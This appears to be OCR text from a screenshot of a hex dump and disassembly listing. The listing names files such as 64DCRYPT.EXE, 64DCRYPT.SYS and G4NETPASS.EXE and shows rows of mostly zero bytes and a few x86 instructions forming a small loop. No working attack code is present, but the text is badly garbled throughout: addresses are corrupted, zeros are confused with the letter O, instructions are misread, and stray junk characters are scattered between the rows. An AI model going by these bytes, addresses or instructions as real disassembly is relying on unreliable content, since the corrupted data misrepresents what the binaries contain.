4. 64DCRYPT EXE DDOBEDEE 43 35 20 3A 3F 34 40 43 43 36 34 45 OR 00 00 00 C5 :24RCCHEIE=ss« 0ROABOROAAAD22DF 76 02 jbe short loc_4822E3
0DOBED7E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  seseessscssscsas
-3 64DCRYPT.SYS 0DOBEDEE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  seseessscssccaas ¥
-] G4NETPASS.EXE 0DOBEDSE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  seseessscssccaas =
-] MOUNT.EXE DOOBEDAE OO0 00 00 OO0 OO 00 OC OO0 00 OO0 OO0 00 OO0 00 00 OO  weeeessssssessss hﬁﬁﬁhaaaaau922E1 20 °F <ub 31, en
&1 24 0DOBEDEE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  seseessscssccaas :
DDOBEDCE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  seseessscssscsas J :
0DOEEDDE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  seseessscssscsas L
0DOBSDEE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  seseessscssccaas [l e =
O0OBBDFE 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00 T T A0000000004022E3
DOOBBEDE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  sesessscscccscss 808080008 B4B22ES loc_A4B822E3:
DOOBEEL® 00 00 00 OO0 00 00 OC OO0 OO0 OO0 OO0 00 OO0 OO0 00 OO  weeeessssssessss 60000000064022E3 88 64 19 nov [ecx+ebx], al
0DOBSE2E 00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00  seseessscssccaas £ i
0DOBSESE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  seseessscssccaas Yy
0DOBSE4E8 00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00  sssssssssassssss ol e =
0DOBBESE 00 00 00 00 00 00 G0 OO0 00 00 00 00 00 00 00 00  +ssssssssassssss 3080808000822E6
O0O0BEBEsE OO OO OO OO OO OO0 OO OO0 OO0 00 OO0 00 00 00 00 00 Trrsssssraasasas GO00000000L022E6 100_#022E6:
0000P0ABBRLB22E6 41 ine ecx
00000000004 B2Z2ZET 3B CA cmp ecx, edx
0B0BPOABARLA22EY 7C ES j1 short loc_482208
1
- -
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